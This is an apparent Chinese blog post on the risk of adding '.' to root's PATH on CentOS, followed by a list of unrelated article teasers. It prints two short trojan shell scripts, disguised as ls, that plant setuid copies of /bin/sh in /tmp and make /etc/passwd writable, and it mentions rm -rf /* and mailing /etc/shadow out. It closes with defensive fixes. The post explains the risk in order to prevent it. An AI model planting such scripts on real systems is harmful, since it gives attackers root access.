centos环境变量如何设置安全问题?
发布时间:2022-02-06 12:50:16
.是代表当前目录。如果将这点写入root的环境变量,执行脚本时,你只需要打脚本的名字,系统就会在当前的目录下找该脚本并执行。
例如,一个U盘插入电脑,你打了一个文件名字,系统就会执行U盘中的该文件,如果有木马程序,也会被执行,比如脚本中有rm -rf /* 这样的命令,你的系统就会被删除。
设想一下,有一个人在一个他能写的目录下写了一个名为ls的可执行程序,程序会把/etc/shadow文件发送到某一邮箱,而root又恰巧在那个目录下,想ls下,结果是什么呢?
所以,很多安全要求高的Unix系统甚至要求用绝对路径调用命令
本文主要讲述“.”在LINUX的环境变量PATH中所带来的问题,及解决的几种方法。
正如很多人所知道的$PATH环境变量里存着一张目录列表,当用户要执行某一程序时,系统就会按照列表中的内容去查找该程序的位置。当程序名前不带点斜线 . / 时$PATH就会起作用。
对于普通用户和root用户$PATH里默认是不包含"."来指定用户的当前目录。这在本机进行脚本开发的程序员来说却不方便,想图省事的人就把点加到了搜索路径中,这就等于在你的系统埋下了险情。
例如:root为了方便使用在他的当前路径末尾加了个点"."(搜索目录为代表当前目录)
命令操作如下:
[root@rh root]# PATH=$PATH:.
[root@rh root]# echo $PATH
/usr/local/sbin:/sbin:/bin:/usr/sbin:/usr/bin:/root/bin:.
这下是方便了,直接输入脚本名就能执行。OK,正常情况下一点问题没有,也省去了输入./foo.sh的烦恼(foo.sh是我假设的脚本文件名)。有的root把PATH=$PATH:.这条命令加到了profile里,使所有用户到分享你给他们带来的"福音"。更有胜者root用户竟然PATH=.:$PATH(将":"加到路径前是另一种形式)。正常请况下一点问题没有,直到有一天,张三用户在他的主目录下放了名为lls的脚本,并对root说他的系统出问题了希望root能帮他解决。(其实是一个trap)。Root一上来就su 成管理员权限,紧更着列了一下目录。有可能管理员误敲成了lls,结果哈哈。。。。
以下是个简单的C shell 的例子
#!/bin/csh
If ( ! -o /bin/su )
goto finish
cp /bin/sh /tmp/.sh
chmod 7777 /tmp/.sh
finish :
exec /bin/ls $argv | grep -v ls
稍微变形就有个B shell的
#!/bin/sh
if chmod 666 /etc/passwd > /dev/null 2>&1 ;then
cp /bin/sh /tmp/.sh
chmod 4755 /tmp/.sh
fi
exec ls "$@"
如果root将其环境变量$PATH包含了"."并且其位置先与ls所在的系统目录,那么当用户在/tmp中执行ls时,执行的是上面给出的脚本,而不是实际的ls命令,因为最终还是执行了ls,所以root不会看出有任何异常。如果是root执行了该脚本,就会将口令文件设置为可写,并将shell复制到/tmp保存为.sh,同时设置其setuserid位,所有这一切都非常安静地发生。
在以上这两个程序里,心怀不鬼的人能写入任何令root急的要跳楼的程序,部下陷阱等root来钻,也许root在不知不觉中施行了也根本不会察觉。 也许在张三的主目录下有一个名为ps的脚本里面包含有危险脚本,root可能一到他的机器前就输入了ps,此时系统会首先到当前目录下搜索,结果/sbin/ps却不被执行。类似这样的小花招还有很多。
管理员同志,不要太紧张,下面我说说解决办法。
首先,要养成输绝对路径的良好命令行输入习惯,这样就不会让"不法份子"乘虚而入了。比如,列目录最好用/bin/ls来列目录,不要图方便而冒然输入ls。
其次,根用户(root)不要把"."包括到搜索目录列表里,而普通用户如果个"."包括到搜索列表中的话别,则"."就应当放在搜索目录列表的最后位置上。这样一来普通用户不会受到前面所述的那种危害。
最后,可以在登陆时在/etc/profile 和bashrc .profile文件的末尾添加如下一行
[PATH=`echo $PATH |sed -e 's/::/:/g; s/:.:/:/g; s/:.$//; s/^://' `
这个简单的sed命令将删除路径里所有的"."包括其另一形式"::"
还可以由crontab调用定期执行
#find / ! -fstype proc '(' -name '.??*' -o -name '.[^.]' ')' > point.txt ; mail -s 'this is a pointlist' root@localhost < point.txt


猜你喜欢
- 使用Win10专业版的小伙伴们,在打游戏的时候,打开显卡加速能够帮助你游戏中更少出现卡顿现象。但要是显卡长时间加速的话,显卡温度会比平时高很
- 旅行青蛙怎么玩?旅行青蛙是最近爆火的一款放置类游戏,主角是一只喜欢旅行和冒险的青蛙,我们要帮青蛙准备行旅,以便青蛙顺利旅行,然后青蛙将带回旅
- 由用户问在Windows7下怎么修改远程桌面端口3389,其实Windows7和XP下修改远程桌面端口3389的方法基本是一样的,下面我们一
- 钉钉高峰期小班课进不去解决方法分享。在开启钉钉小班课的时候,如果同时有很多的用户在一个时间段加入到课程中,那么就可能会出现网络拥堵,导致无法
- 返回#VALUE!错误值原因使用的参数类型不正确时,将会出现#VALUE!错误,可能包含以下几种情况 :1、当公式或函数的参数类型不正确时。
- 据传闻微软将在明年初发布Windows 10的大更新RedStone 2,看来Windows 10真要在越来越好用的路上不停走下去了。明年年
- 当我们所使用的电脑时间越来越久的话是有可能出现卡顿的情况,因此就有用户想说去更改系统处理器数量来提高整体的运行速度,但也有一部分用户不清楚要
- 同住酒店拼房是最近刚流行起来的一个小程序,它对于经常外出住酒店的人来说应该比较熟悉。这款小程序主要是帮助大家省钱,那么具体要怎么去操作呢?其
- 有些用户的电脑上会安装得有Glary Utilities软件,这款软件中的功能是很丰富的,给用户带来了许多的便利,例如用户可以使用软件中的清
- 在用word处理表格,编辑文档的时候,会出现表格在页面外面的情况。这时候在电脑页面内很难看到表格中的内容,一点一点的移动表格很麻烦,同时表格
- IE浏览器总是突然假死怎么办?电脑IE浏览器使用时经常出现假死问题该如何解决?请看下文具体介绍。解决步骤:1、打开ie浏览器,点击右上角设置
- 当你的电脑使用多个音频设备,可能就需要在不同的音频输出之间切换。那我们如何更改Win11上的默认音频输出?还有很多用户都不清楚具体怎么办。针
- 很多学员反馈Excel函数的语法太难记,歪歪绕绕,不讲人话。今天给大家做个小总结,分享下讲人话的函数语法是怎样的。看我真诚的小眼神,这对于理
- win10 9888的功能已经泄露啦~下文小编就为大家带来win预览9888新功能的汇总内容,下面就和小编一起去了解下吧win10预览版98
- excel怎么并排查看两个工作表?excel打开一个窗口想要同时查看两个工作表中的数据,类似于word中的分栏效果,该怎么实现呢?下面我们就
- 问题:如何使文字在文本框中居中呢?我在WORD中插入了一个竖排的文本框然后想要让文字左右居中,但只能设置成上下居中,有高手遇到过这个问题吗?
- 在Excel中经常会遇到有些数据值的左上角有个绿三角,很影响表格的美观,或许有的朋友并不知道左上角的绿三角该如何去掉,如果不懂的朋友欢迎一起
- 在PowerPoint中绘制的图形都是矢量图形,可以进行任意缩放而不会造成失真。像许多专业绘图软件一样,PowerPoint能够通过对图形顶
- 有时候在使用Win10系统的时候会出现一些受损文件的情况,这些受损文件会导致我们在使用电脑的过程中出现闪退的情况,那么遇到这种情况应该怎么办
- 我们都知道Mac电脑都有调节深夜模式的功能,以便用户在晚上用电脑不刺激眼睛然后白天在切换回来。但是这样做有点麻烦,所以我们可以在Mac 上使